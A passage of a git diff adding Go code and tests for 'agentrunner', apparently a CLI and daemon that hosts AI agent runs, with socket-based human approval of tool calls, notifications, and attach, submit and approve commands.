"github.com/ralphite/agentrunner/internal/agent" + "github.com/ralphite/agentrunner/internal/event" +) + +func TestTTYApprovalsParsing(t *testing.T) { + req := agent.ApprovalRequest{ + ApprovalID: "apr-eff-call_1_0", CallID: "call_1_0", + ToolName: "bash", Args: json.RawMessage(`{"command":"make deploy"}`), + GateResults: []event.GateResult{ + {Gate: "permission", Decision: "ask", Reason: "execute requires approval"}, + }, + } + cases := []struct { + input string + approve bool + wantReason string + }{ + {"y\n", true, ""}, + {"yes\n", true, ""}, + {"n\n", false, "denied at terminal"}, + {"n too risky for friday\n", false, "too risky for friday"}, + {"whatever\n", false, "denied at terminal"}, + } + for _, tc := range cases { + var out bytes.Buffer + a := &ttyApprovals{in: strings.NewReader(tc.input), out: &out} + d, err := a.Resolve(context.Background(), req) + if err != nil { + t.Fatalf("%q: %v", tc.input, err) + } + if d.Approve != tc.approve || d.Reason != tc.wantReason || d.Source != "tty" { + t.Errorf("%q: decision = %+v", tc.input, d) + } + for _, want := range []string{"approval required", "make deploy", "execute requires approval"} { + if !strings.Contains(out.String(), want) { + t.Errorf("%q: prompt missing %q", tc.input, want) + } + } + } +} + +func TestTTYApprovalsCtxCancel(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + a := &ttyApprovals{in: blockingReader{}, out: &bytes.Buffer{}} + if _, err := a.Resolve(ctx, agent.ApprovalRequest{}); err == nil { + t.Fatal("canceled ctx must surface") + } +} + +type blockingReader struct{} + +func (blockingReader) Read([]byte) (int, error) { select {} } diff --git a/internal/cli/cli.go b/internal/cli/cli.go new file mode 100644 index 0000000..5720ead --- /dev/null +++ b/internal/cli/cli.go @@ -0,0 +1,77 @@ +// Package cli implements the agentrunner command-line interface. +package cli + +import ( + "fmt" + "io" + "log/slog" + "os" + "runtime" +) + +// Exit codes per PLAN.md S1 执行包. +const ( + ExitOK = 0 // run completed + ExitRun = 1 // run failed (provider/tool fatal) + ExitUsage = 2 // usage or spec error +) + +// Run executes the CLI and returns the process exit code. +func Run(args []string, version string, stdout, stderr io.Writer) int { + setupLogging(stderr) + + if len(args) == 0 { + fmt.Fprint(stderr, usage()) + return ExitUsage + } + + switch args[0] { + case "--version", "version": + fmt.Fprintf(stdout, "agentrunner %s (%s)\n", version, runtime.Version()) + return ExitOK + case "run": + return runCmd(args[1:], false, version, stdout, stderr) + case "drive": + return driveCmd(args[1:], version, stdout, stderr) + case "record-fixture": + return runCmd(args[1:], true, version, stdout, stderr) + case "accept": + return acceptCmd(args[1:], stdout, stderr) + case "events": + return eventsCmd(args[1:], stdout, stderr) + case "inspect": + return inspectCmd(args[1:], stdout, stderr) + case "resume": + return resumeCmd(args[1:], version, stdout, stderr) + case "daemon": + return daemonCmd(args[1:], version, stdout, stderr) + case "attach": + return attachCmd(args[1:], stdout, stderr) + case "submit": + return submitCmd(args[1:], stdout, stderr) + case "approve": + return approveCmd(args[1:], stdout, stderr) + case "sessions": + return sessionsCmd(args[1:], stdout, stderr) + case "trust": + return trustCmd(args[1:], stdout, stderr) + default: + fmt.Fprintf(stderr, "agentrunner: unknown command %q\n%s", args[0], usage()) + return ExitUsage + } +} + +func usage() string { + return "usage: agentrunner [flags] [ \"task\"]\n" +} + +// setupLogging configures the process-wide slog default. Logs go to stderr +// (never stdout, which belongs to run output); AGENTRUNNER_DEBUG=1 raises +// the level to Debug. +func setupLogging(stderr io.Writer) { + level := slog.LevelInfo + if os.Getenv("AGENTRUNNER_DEBUG") == "1" { + level = slog.LevelDebug + } + slog.SetDefault(slog.New(slog.NewTextHandler(stderr, &slog.HandlerOptions{Level: level}))) +} diff --git a/internal/cli/cli_test.go b/internal/cli/cli_test.go new file mode 100644 index 0000000..e84b087 --- /dev/null +++ b/internal/cli/cli_test.go @@ -0,0 +1,38 @@ +package cli + +import ( + "bytes" + "strings" + "testing" +) + +func TestVersion(t *testing.T) { + var out, errOut bytes.Buffer + code := Run([]string{"--version"}, "test-1.0", &out, &errOut) + if code != ExitOK { + t.Fatalf("exit code = %d, want %d", code, ExitOK) + } + got := out.String() + if !strings.HasPrefix(got, "agentrunner test-1.0 (go") { + t.Fatalf("version output = %q, want prefix %q", got, "agentrunner test-1.0 (go") + } +} + +func TestUnknownCommand(t *testing.T) { + var out, errOut bytes.Buffer + code := Run([]string{"bogus"}, "dev", &out, &errOut) + if code != ExitUsage { + t.Fatalf("exit code = %d, want %d", code, ExitUsage) + } + if !strings.Contains(errOut.String(), "unknown command") { + t.Fatalf("stderr = %q, want to contain %q", errOut.String(), "unknown command") + } +} + +func TestNoArgs(t *testing.T) { + var out, errOut bytes.Buffer + code := Run(nil, "dev", &out, &errOut) + if code != ExitUsage { + t.Fatalf("exit code = %d, want %d", code, ExitUsage) + } +} diff --git a/internal/cli/daemon.go b/internal/cli/daemon.go new file mode 100644 index 0000000..2cb0e12 --- /dev/null +++ b/internal/cli/daemon.go @@ -0,0 +1,684 @@ +package cli + +import ( + "context" + "encoding/json" + "flag" + "fmt" + "io" + "os" + "path/filepath" + "time" + + "github.com/ralphite/agentrunner/internal/agent" + "github.com/ralphite/agentrunner/internal/blackboard" + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/config" + "github.com/ralphite/agentrunner/internal/daemon" + "github.com/ralphite/agentrunner/internal/driver" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/hook" + "github.com/ralphite/agentrunner/internal/notify" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/runtime" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// socketPath is the daemon's rendezvous, fixed under the data dir so every +// client finds the same runtime. The dir is created here: the daemon may be +// the first agentrunner process this machine ever ran. (unix sockets cap +// paths at ~108 bytes — an extravagant XDG_DATA_HOME surfaces as a bind +// error, which ListenAndServe reports verbatim.) +func socketPath() (string, error) { + data, err := runtime.DataDir() + if err != nil { + return "", err + } + if err := os.MkdirAll(data, 0o700); err != nil { + return "", fmt.Errorf("daemon: %w", err) + } + return filepath.Join(data, "daemon.sock"), nil +} + +// daemonCmd runs the resident runtime (S6 模块④): `agentrunner daemon`. +// Hosted runs' asks park on the approval broker and resolve over the socket +// (`agentrunner approve`); a run cancelled before its ask is answered +// resolves denied through the loop's normal ctx path. +func daemonCmd(args []string, version string, stdout, stderr io.Writer) int { + fs := flag.NewFlagSet("daemon", flag.ContinueOnError) + fs.SetOutput(stderr) + if err := fs.Parse(args); err != nil { + return ExitUsage + } + if len(fs.Args()) != 0 { + fmt.Fprintln(stderr, "usage: agentrunner daemon") + return ExitUsage + } + ctx, _, stop := signalContext() + defer stop() + loadDotEnv(".env") + + sock, err := socketPath() + if err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + broker := daemon.NewApprovalBroker() + notifier, notifyTee, err := buildNotifier(ctx, stderr) + if err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + defer func() { _ = notifier.Close() }() + srv := &daemon.Server{ + SocketPath: sock, + NewID: func(task string) string { return runtime.NewSessionID(time.Now(), task) }, + Run: hostRunFunc(version, stderr, broker), + Replay: func(sessionID string, sink protocol.Sink) error { + dir, err := resolveSessionDir(sessionID) + if err != nil { + return err + } + return daemon.ReplayJournal(dir, sink) + }, + ScanTimers: scanSessionTimers, + Resume: hostResumeFunc(version, stderr, broker), + Drive: hostDriveFunc(version, stderr, broker), + Approvals: broker, + IdemPath: filepath.Join(filepath.Dir(sock), "idem.json"), + Notify: notifyTee, + } + reconcileNotifications(notifier) + fmt.Fprintf(stderr, "daemon on %s\n", sock) + if err := srv.ListenAndServe(ctx); err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + return ExitOK +} + +// buildNotifier opens the notifier stream, reads the USER-level channel +// config (carve-out: project settings never redirect notifications), and +// returns the non-blocking tee the daemon calls from run emit paths — a +// buffered queue drained by one goroutine; overflow drops (the journal + +// startup reconciliation are the safety net for the moments that matter). +func buildNotifier(ctx context.Context, stderr io.Writer) (*notify.Notifier, func(protocol.Event), error) { + userPath, err := runtime.UserConfigPath() + if err != nil { + return nil, nil, err + } + user, err := config.LoadFile(userPath) + if err != nil { + return nil, nil, err + } + data, err := runtime.DataDir() + if err != nil { + return nil, nil, err + } + notifier, err := notify.Open(filepath.Join(data, "notifier"), user.Notify.Command, stderr) + if err != nil { + return nil, nil, err + } + ch := make(chan protocol.Event, 64) + go func() { + for { + select { + case e := <-ch: + notifier.Notify(toNotification(e)) + case <-ctx.Done(): + // Shutdown: deliver what is already queued (a run_end has no + // startup reconciliation — dropping it here loses the moment + // permanently; S6 review). + for { + select { + case e := <-ch: + notifier.Notify(toNotification(e)) + default: + return + } + } + } + } + }() + tee := func(e protocol.Event) { + select { + case ch <- e: + default: + } + } + return notifier, tee, nil +} + +// toNotification maps a lifecycle event to its deduplicated notification. +// The keys MUST match reconcileNotifications' keys for the same moment. +func toNotification(e protocol.Event) notify.Notification { + switch e.Kind { + case protocol.KindIteration: + return notify.Notification{ + Key: fmt.Sprintf("iteration/%s/%d", e.Session, e.Turn), + Kind: "iteration", Session: e.Session, + Text: fmt.Sprintf("%s: %s", e.Session, e.Text), + } + case protocol.KindApprovalRequest: + return notify.Notification{ + Key: "approval/" + e.Session + "/" + e.ApprovalID, + Kind: "approval", Session: e.Session, + Text: fmt.Sprintf("approval needed on %s: %s %s (agentrunner approve %s %s approve|deny)", + e.Session, e.Tool, truncate(e.Args, 80), e.Session, e.ApprovalID), + } + default: // run_end + return notify.Notification{ + Key: "run_end/" + e.Session, + Kind: "run_end", Session: e.Session, + Text: fmt.Sprintf("run %s ended: %s", e.Session, e.Reason), + } + } +} + +// reconcileNotifications is the startup sweep (启动对账): sessions parked on +// an approval get their notification (re)sent unless the journaled sent set +// already has it — a daemon that died between the ask and the notify never +// loses the moment. Ended-run reconciliation is deliberately NOT done: on +// first adoption it would replay every historical session's ending as a +// fresh notification (记档). +func reconcileNotifications(notifier *notify.Notifier) { + data, err := runtime.DataDir() + if err != nil { + return + } + entries, err := os.ReadDir(filepath.Join(data, "sessions")) + if err != nil { + return + } + for _, e := range entries { + if !e.IsDir() { + continue + } + dir := filepath.Join(data, "sessions", e.Name()) + events, err := store.ReadEvents(dir) + if err != nil { + continue + } + s, err := state.Fold(events) + if err != nil || s.Waiting == nil || s.Waiting.Kind != event.WaitApproval { + continue + } + var req event.ApprovalRequested + if err := json.Unmarshal(s.Waiting.Detail, &req); err != nil { + continue + } + notifier.Notify(notify.Notification{ + Key: "approval/" + e.Name() + "/" + req.ApprovalID, + Kind: "approval", Session: e.Name(), + Text: fmt.Sprintf("approval waiting on %s (parked; resume or approve %s %s)", + e.Name(), e.Name(), req.ApprovalID), + }) + } +} + +// socketApprovals adapts the daemon's ApprovalBroker to the agent's +// resolver seam. It EMITS the ask onto the hosted run's event stream before +// parking — child loops are silent (no Out sink) but share this resolver, +// so a child's ask surfaces on the attach stream too (上卷). req.Agent says +// WHO is asking. +type socketApprovals struct { + broker *daemon.ApprovalBroker + session string + sink protocol.Sink +} + +func (s socketApprovals) Resolve(ctx context.Context, req agent.ApprovalRequest) (agent.ApprovalDecision, error) { + // Register FIRST: concurrent sibling asks can carry identical + // deterministic ids, and the broker de-dupes with a suffix — the id we + // SURFACE must be the one an answer can address (S6 review). + id, ch := s.broker.Register(s.session, req.ApprovalID) + s.sink.Emit(protocol.Event{ + Kind: protocol.KindApprovalRequest, ApprovalID: id, + Tool: req.ToolName, CallID: req.CallID, + Args: string(req.Args), Text: req.Agent, + }) + a, err := s.broker.Wait(ctx, s.session, id, ch) + if err != nil { + return agent.ApprovalDecision{}, err + } + return agent.ApprovalDecision{Approve: a.Approve, Reason: a.Reason, Source: "socket"}, nil +} + +// hostRunFunc is the daemon's real run wiring — the same assembly as a +// foreground `run` minus the tty concerns (no interrupts; asks park on the +// approval broker and resolve over the socket). +func hostRunFunc(version string, stderr io.Writer, broker *daemon.ApprovalBroker) daemon.RunFunc { + return func(ctx context.Context, req daemon.RunRequest, sink protocol.Sink) error { + spec, err := agent.LoadSpec(req.SpecPath) + if err != nil { + return err + } + wsRoot := req.Workspace + if wsRoot == "" { + wsRoot = "." + } + ws, err := workspace.New(wsRoot) + if err != nil { + return err + } + prov, err := defaultProviderFactory(ctx, spec.Model.Provider) + if err != nil { + return err + } + sessionDir, err := runtime.SessionDir(req.SessionID) + if err != nil { + return err + } + events, err := store.OpenEventStore(sessionDir) + if err != nil { + return err + } + defer func() { _ = events.Close() }() + + mode := spec.Mode + if req.Mode != "" { + mode = req.Mode + } + pipe, hooks, err := buildPipeline(ws, spec.Permissions, mode, spec.Budget.MaxTotalTokens, stderr) + if err != nil { + return err + } + loop := &agent.Loop{ + Spec: spec, + Provider: prov, + Exec: &tool.Executor{WS: ws, Session: req.SessionID}, + Store: events, + Clock: clock.Real{}, + Out: sink, + SessionID: req.SessionID, + Version: version, + Pipeline: pipe, + Mode: mode, + Hooks: hooks, + Approvals: socketApprovals{broker: broker, session: req.SessionID, sink: sink}, + SubSpecs: siblingSpecResolver(req.SpecPath), + // Blackboard publishes mirror onto the attach stream (S6 模块⑤ + // 回访): watchers see the tree's collaboration live; the board + // stays the read-back truth. + BoardMirror: func(n blackboard.Note) { + sink.Emit(protocol.Event{Kind: protocol.KindNote, + Text: fmt.Sprintf("[%s] %s: %s", n.Topic, n.From, n.Text)}) + }, + } + _, runErr := loop.Run(ctx, req.Task) + return runErr + } +} + +// scanSessionTimers derives the pending-timer index from the session +// journals (timer 派生索引): every non-ended session with pending timers +// reports its earliest fire time. Unreadable or unfoldable sessions are +// skipped — the sweep must not die on one corrupt log. +func scanSessionTimers() ([]daemon.SessionTimer, error) { + data, err := runtime.DataDir() + if err != nil { + return nil, err + } + entries, err := os.ReadDir(filepath.Join(data, "sessions")) + if err != nil { + if os.IsNotExist(err) { + return nil, nil + } + return nil, err + } + var out []daemon.SessionTimer + for _, e := range entries { + if !e.IsDir() { + continue + } + dir := filepath.Join(data, "sessions", e.Name()) + events, err := store.ReadEvents(dir) + if err != nil { + continue + } + s, err := state.Fold(events) + if err != nil || s.Run.Status == state.StatusEnded || len(s.Timers) == 0 { + continue + } + var earliest time.Time + for _, tm := range s.Timers { + if earliest.IsZero() || tm.FireAt.Before(earliest) { + earliest = tm.FireAt + } + } + out = append(out, daemon.SessionTimer{SessionID: e.Name(), FireAt: earliest}) + } + return out, nil +} + +// hostResumeFunc is the daemon's timer-driven resume wiring — the same +// assembly as a foreground `resume` minus the tty: spec and workspace come +// from the journaled RunStarted, permissions from the journaled layers. +func hostResumeFunc(version string, stderr io.Writer, broker *daemon.ApprovalBroker) func(context.Context, string, protocol.Sink) error { + return func(ctx context.Context, sessionID string, sink protocol.Sink) error { + dir, err := resolveSessionDir(sessionID) + if err != nil { + return err + } + started, err := readRunStarted(dir) + if err != nil { + return err + } + if len(started.Spec) == 0 || started.WorkspaceRoot == "" { + return fmt.Errorf("session %s predates resumable metadata", sessionID) + } + var spec agent.AgentSpec + if err := json.Unmarshal(started.Spec, &spec); err != nil { + return fmt.Errorf("journaled spec: %w", err) + } + ws, err := workspace.New(started.WorkspaceRoot) + if err != nil { + return err + } + prov, err := defaultProviderFactory(ctx, spec.Model.Provider) + if err != nil { + return err + } + events, err := store.OpenEventStore(dir) + if err != nil { + return err + } + defer func() { _ = events.Close() }() + + var pipe *pipeline.Pipeline + var hooks *hook.Runner + if len(started.PermissionLayers) > 0 { + var layers [][]pipeline.PermissionRule + if err := json.Unmarshal(started.PermissionLayers, &layers); err != nil { + return fmt.Errorf("journaled permission layers: %w", err) + } + pipe, hooks, err = buildPipelineFromLayers(ws, layers, spec.Mode, spec.Budget.MaxTotalTokens, stderr) + } else { + pipe, hooks, err = buildPipeline(ws, spec.Permissions, spec.Mode, spec.Budget.MaxTotalTokens, stderr) + } + if err != nil { + return err + } + loop := &agent.Loop{ + Spec: &spec, + Provider: prov, + Exec: &tool.Executor{WS: ws, Session: sessionID}, + Store: events, + Clock: clock.Real{}, + Out: sink, + SessionID: sessionID, + Version: version, + Pipeline: pipe, + Hooks: hooks, + Approvals: socketApprovals{broker: broker, session: sessionID, sink: sink}, + } + _, runErr := loop.Resume(ctx) + return runErr + } +} + +// attachCmd follows a session hosted by the daemon: journal catch-up first, +// then the live stream. `agentrunner attach [--json] `. +func attachCmd(args []string, stdout, stderr io.Writer) int { + fs := flag.NewFlagSet("attach", flag.ContinueOnError) + fs.SetOutput(stderr) + jsonOut := fs.Bool("json", false, "emit the event stream as JSON lines") + if err := fs.Parse(args); err != nil { + return ExitUsage + } + rest := fs.Args() + if len(rest) != 1 { + fmt.Fprintln(stderr, "usage: agentrunner attach [--json] ") + return ExitUsage + } + // Resolve prefixes locally so the wire carries the full id. + dir, err := resolveSessionDir(rest[0]) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitUsage + } + session := filepath.Base(dir) + + sock, err := socketPath() + if err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + var sink protocol.Sink + if *jsonOut { + sink = protocol.NewJSONSink(stdout) + } else { + sink = newTextRenderer(stdout) + } + if err := daemon.Dial(sock, daemon.Command{Cmd: "attach", Session: session}, sink.Emit); err != nil { + fmt.Fprintf(stderr, "agentrunner: %v (is the daemon running?)\n", err) + return ExitRun + } + return ExitOK +} + +// childLifecycleFilter strips a child run's lifecycle FRAMING (run_start / +// run_end) from the shared hub stream: within a hosted series the DRIVER +// owns the lifecycle (iteration / run_end events) — a child's run_end would +// otherwise consume the notifier's run_end/ dedup key and shadow +// the series' real ending (found by the s6-05 scenario). The child's work +// (turns, messages, tool calls) still streams. +type childLifecycleFilter struct{ inner protocol.Sink } + +func (f childLifecycleFilter) Emit(e protocol.Event) { + if e.Kind == protocol.KindRunEnd || e.Kind == protocol.KindRunStart { + return + } + f.inner.Emit(e) +} + +// hostDriveFunc is the daemon's IterationDriver wiring — the same assembly +// as a foreground `drive` minus the tty: asks (human verifier, +// finish_series) route over the approval broker, and the driver's lifecycle +// tees to watchers and the notifier through the hub sink. +func hostDriveFunc(version string, stderr io.Writer, broker *daemon.ApprovalBroker) func(context.Context, daemon.DriveRequest, protocol.Sink) error { + return func(ctx context.Context, req daemon.DriveRequest, sink protocol.Sink) error { + spec, err := driver.LoadSpec(req.SpecPath) + if err != nil { + return err + } + wsRoot := req.Workspace + if wsRoot == "" { + wsRoot = "." + } + ws, err := workspace.New(wsRoot) + if err != nil { + return err + } + prov, err := defaultProviderFactory(ctx, spec.Agent.Model.Provider) + if err != nil { + return err + } + sessionDir, err := runtime.SessionDir(req.SessionID) + if err != nil { + return err + } + dStore, err := store.OpenEventStore(sessionDir) + if err != nil { + return err + } + defer func() { _ = dStore.Close() }() + artifacts, err := store.OpenArtifactStore(filepath.Join(sessionDir, "artifacts")) + if err != nil { + return err + } + approvals := socketApprovals{broker: broker, session: req.SessionID, sink: sink} + exec := &tool.Executor{WS: ws, Session: req.SessionID} + // Same verifier-adjudication construction as the foreground drive: + // user/project rules first, trailing driver-trust allow. + verifierPipe, _, err := buildPipeline(ws, []pipeline.PermissionRule{{Action: "allow"}}, "", 0, stderr) + if err != nil { + return err + } + d := &driver.Driver{ + Spec: spec, + Store: dStore, + Clock: clock.Real{}, + DriverID: req.SessionID, + Exec: exec, + Judge: prov, + Approvals: approvals, + Artifacts: artifacts, + Out: sink, + Pipeline: verifierPipe, + NewChild: func(cs *store.EventStore, session string, iter, budgetTokens int) *agent.Loop { + frozen := *spec.Agent + if budgetTokens > 0 { + frozen.Budget.MaxTotalTokens = budgetTokens + } + pipe, hooks, perr := buildPipeline(ws, frozen.Permissions, frozen.Mode, + frozen.Budget.MaxTotalTokens, stderr) + if perr != nil { + fmt.Fprintln(stderr, perr) + } + return &agent.Loop{ + Spec: &frozen, + Provider: prov, + Exec: &tool.Executor{WS: ws, Session: session}, + Store: cs, + Clock: clock.Real{}, + Out: childLifecycleFilter{inner: sink}, + SessionID: session, + Version: version, + Pipeline: pipe, + Mode: frozen.Mode, + Hooks: hooks, + Approvals: approvals, + SubSpecs: siblingSpecResolver(req.SpecPath), + } + }, + } + _, runErr := d.Run(ctx) + return runErr + } +} + +// approveCmd answers a daemon-hosted ask: `agentrunner approve +// [reason]`. +func approveCmd(args []string, stdout, stderr io.Writer) int { + if len(args) < 3 || len(args) > 4 { + fmt.Fprintln(stderr, "usage: agentrunner approve [reason]") + return ExitUsage + } + dir, err := resolveSessionDir(args[0]) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitUsage + } + session := filepath.Base(dir) + decision := args[2] + if decision != "approve" && decision != "deny" { + fmt.Fprintln(stderr, "agentrunner: decision must be approve or deny") + return ExitUsage + } + reason := "" + if len(args) == 4 { + reason = args[3] + } + sock, err := socketPath() + if err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + code := ExitOK + err = daemon.Dial(sock, daemon.Command{ + Cmd: "approve", Session: session, ApprovalID: args[1], + Decision: decision, Reason: reason, + }, func(e protocol.Event) { + if e.Kind == protocol.KindError { + code = ExitRun + } + fmt.Fprintln(stdout, e.Text) + }) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v (is the daemon running?)\n", err) + return ExitRun + } + return code +} + +// submitCmd hands a run — or, with --drive, an IterationDriver series — to +// the daemon and streams it until it ends; the work survives this client. +// `agentrunner submit [flags] "task"` / +// `agentrunner submit --drive [flags] `. +func submitCmd(args []string, stdout, stderr io.Writer) int { + fs := flag.NewFlagSet("submit", flag.ContinueOnError) + fs.SetOutput(stderr) + workspaceDir := fs.String("workspace", ".", "workspace root (default: current directory)") + mode := fs.String("mode", "", "run mode: default|plan|acceptEdits (overrides spec)") + jsonOut := fs.Bool("json", false, "emit the event stream as JSON lines") + drive := fs.Bool("drive", false, "submit a driver spec (task lives in the spec)") + idem := fs.String("idem", "", "idempotency key: a retried submit with the same key reattaches instead of starting a duplicate") + if err := fs.Parse(args); err != nil { + return ExitUsage + } + rest := fs.Args() + if (*drive && len(rest) != 1) || (!*drive && len(rest) != 2) { + fmt.Fprintln(stderr, "usage: agentrunner submit [flags] \"task\" | submit --drive [flags] ") + return ExitUsage + } + specPath, err := filepath.Abs(rest[0]) + if err != nil { + fmt.Fprintln(stderr, err) + return ExitUsage + } + wsAbs, err := filepath.Abs(*workspaceDir) + if err != nil { + fmt.Fprintln(stderr, err) + return ExitUsage + } + sock, err := socketPath() + if err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + var sink protocol.Sink + if *jsonOut { + sink = protocol.NewJSONSink(stdout) + } else { + sink = newTextRenderer(stdout) + } + reason := "" + cmd := daemon.Command{Cmd: "run", SpecPath: specPath, Workspace: wsAbs, Mode: *mode, IdemKey: *idem} + if *drive { + cmd = daemon.Command{Cmd: "drive", SpecPath: specPath, Workspace: wsAbs, IdemKey: *idem} + } else { + cmd.Task = rest[1] + } + err = daemon.Dial(sock, cmd, func(e protocol.Event) { + if e.Kind == protocol.KindRunStart && e.Session != "" { + fmt.Fprintf(stderr, "session %s\n", e.Session) + } + if e.Kind == protocol.KindRunEnd { + reason = e.Reason + } + sink.Emit(e) + }) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v (is the daemon running?)\n", err) + return ExitRun + } + // No run_end in the stream means the run died before its terminal event + // (e.g. spec/provider failure inside the daemon) — that is a failure, + // same contract as a foreground run/drive. + if *drive { + dspec, derr := driver.LoadSpec(specPath) + if derr != nil || !driveSucceeded(dspec, reason) { + return ExitRun + } + return ExitOK + } + if reason != "completed" { + return ExitRun + } + return ExitOK +} diff --git a/internal/cli/daemon_test.go b/internal/cli/daemon_test.go new file mode 100644 index 0000000..0d2941d --- /dev/null +++ b/internal/cli/daemon_test.go @@ -0,0 +1,111 @@ +package cli + +import ( + "bytes" + "context" + "os" + "path/filepath" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/daemon" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/runtime" +) + +// The daemon hosts a real run end to end: submit streams the events, the +// journal lands under the session dir, and a later attach replays the same +// story from the journal (补读). +func TestDaemonHostsRunAndAttachReplays(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir := t.TempDir() + specPath := writeSpec(t, dir) + fixture := `steps: + - respond: + - text: "hello from the daemon" + - finish: end_turn +` + fixPath := filepath.Join(dir, "fix.yaml") + if err := os.WriteFile(fixPath, []byte(fixture), 0o644); err != nil { + t.Fatal(err) + } + t.Setenv("AGENTRUNNER_SCRIPTED_FIXTURE", fixPath) + + sock := filepath.Join(t.TempDir(), "d.sock") + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + var errOut bytes.Buffer + broker := daemon.NewApprovalBroker() + srv := &daemon.Server{ + SocketPath: sock, + NewID: func(task string) string { return runtime.NewSessionID(time.Now(), task) }, + Run: hostRunFunc("test", &errOut, broker), + Approvals: broker, + Replay: func(sessionID string, sink protocol.Sink) error { + d, err := resolveSessionDir(sessionID) + if err != nil { + return err + } + return daemon.ReplayJournal(d, sink) + }, + } + go func() { _ = srv.ListenAndServe(ctx) }() + waitUp := time.Now().Add(5 * time.Second) + for time.Now().Before(waitUp) { + if err := daemon.Dial(sock, daemon.Command{Cmd: "ping"}, func(protocol.Event) {}); err == nil { + break + } + time.Sleep(5 * time.Millisecond) + } + + // Submit a run and watch it to completion. + var live []protocol.Event + if err := daemon.Dial(sock, daemon.Command{ + Cmd: "run", SpecPath: specPath, Task: "wave", Workspace: t.TempDir(), + }, func(e protocol.Event) { live = append(live, e) }); err != nil { + t.Fatal(err) + } + if len(live) == 0 || live[0].Kind != protocol.KindRunStart || live[0].Session == "" { + t.Fatalf("live stream = %+v\nstderr: %s", live, errOut.String()) + } + session := live[0].Session + var sawMsg, sawEnd bool + for _, e := range live { + if e.Kind == protocol.KindMessage && e.Text == "hello from the daemon" { + sawMsg = true + } + if e.Kind == protocol.KindRunEnd && e.Reason == "completed" { + sawEnd = true + } + } + if !sawMsg || !sawEnd { + t.Fatalf("live stream missing message/end: %+v\nstderr: %s", live, errOut.String()) + } + + // The journal is on disk under the session id. + if _, err := resolveSessionDir(session); err != nil { + t.Fatalf("session dir: %v", err) + } + + // Attach after the fact: the replay tells the same story. + var replayed []protocol.Event + if err := daemon.Dial(sock, daemon.Command{Cmd: "attach", Session: session}, + func(e protocol.Event) { replayed = append(replayed, e) }); err != nil { + t.Fatal(err) + } + var reMsg, reEnd bool + for _, e := range replayed { + if e.Session != session { + t.Errorf("replayed event missing session tag: %+v", e) + } + if e.Kind == protocol.KindMessage && e.Text == "hello from the daemon" { + reMsg = true + } + if e.Kind == protocol.KindRunEnd && e.Reason == "completed" { + reEnd = true + } + } + if !reMsg || !reEnd { + t.Fatalf("replay = %+v, want the journal's message and run_end", replayed) + } +} diff --git a/internal/cli/drive.go b/internal/cli/drive.go new file mode 100644 index 0000000..0da5b7a --- /dev/null +++ b/internal/cli/drive.go @@ -0,0 +1,185 @@ +package cli + +import ( + "errors" + "flag" + "fmt" + "io" + "path/filepath" + "time" + + "github.com/ralphite/agentrunner/internal/agent" + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/driver" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/runtime" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// driveOptions carries everything driveAgent needs; factored for testability. +type driveOptions struct { + specPath string + workspace string + version string + factory providerFactory + stdout io.Writer + stderr io.Writer + sink protocol.Sink +} + +// driveCmd parses `drive` args and runs an IterationDriver to its terminal +// state (S6). The task lives in the driver spec, not on the command line. +func driveCmd(args []string, version string, stdout, stderr io.Writer) int { + fs := flag.NewFlagSet("drive", flag.ContinueOnError) + fs.SetOutput(stderr) + workspaceDir := fs.String("workspace", ".", "workspace root (default: current directory)") + jsonOut := fs.Bool("json", false, "emit the child runs' output event stream as JSON lines") + if err := fs.Parse(args); err != nil { + return ExitUsage + } + rest := fs.Args() + if len(rest) != 1 { + fmt.Fprintf(stderr, "usage: agentrunner drive [flags] \n") + return ExitUsage + } + var sink protocol.Sink + if *jsonOut { + sink = protocol.NewJSONSink(stdout) + } else { + sink = newTextRenderer(stdout) + } + return driveAgent(driveOptions{ + specPath: rest[0], + workspace: *workspaceDir, + version: version, + factory: defaultProviderFactory, + stdout: stdout, + stderr: stderr, + sink: sink, + }) +} + +func driveAgent(opts driveOptions) int { + ctx, _, stop := signalContext() + defer stop() + loadDotEnv(".env") + + spec, err := driver.LoadSpec(opts.specPath) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitUsage + } + ws, err := workspace.New(opts.workspace) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitUsage + } + prov, err := opts.factory(ctx, spec.Agent.Model.Provider) + if err != nil { + fmt.Fprintln(opts.stderr, err) + if errors.Is(err, errUnknownProvider) { + return ExitUsage + } + return ExitRun + } + + driverID := runtime.NewSessionID(time.Now(), spec.Name) + sessionDir, err := runtime.SessionDir(driverID) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitRun + } + dStore, err := store.OpenEventStore(sessionDir) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitRun + } + defer func() { _ = dStore.Close() }() + artifacts, err := store.OpenArtifactStore(filepath.Join(sessionDir, "artifacts")) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitRun + } + fmt.Fprintf(opts.stderr, 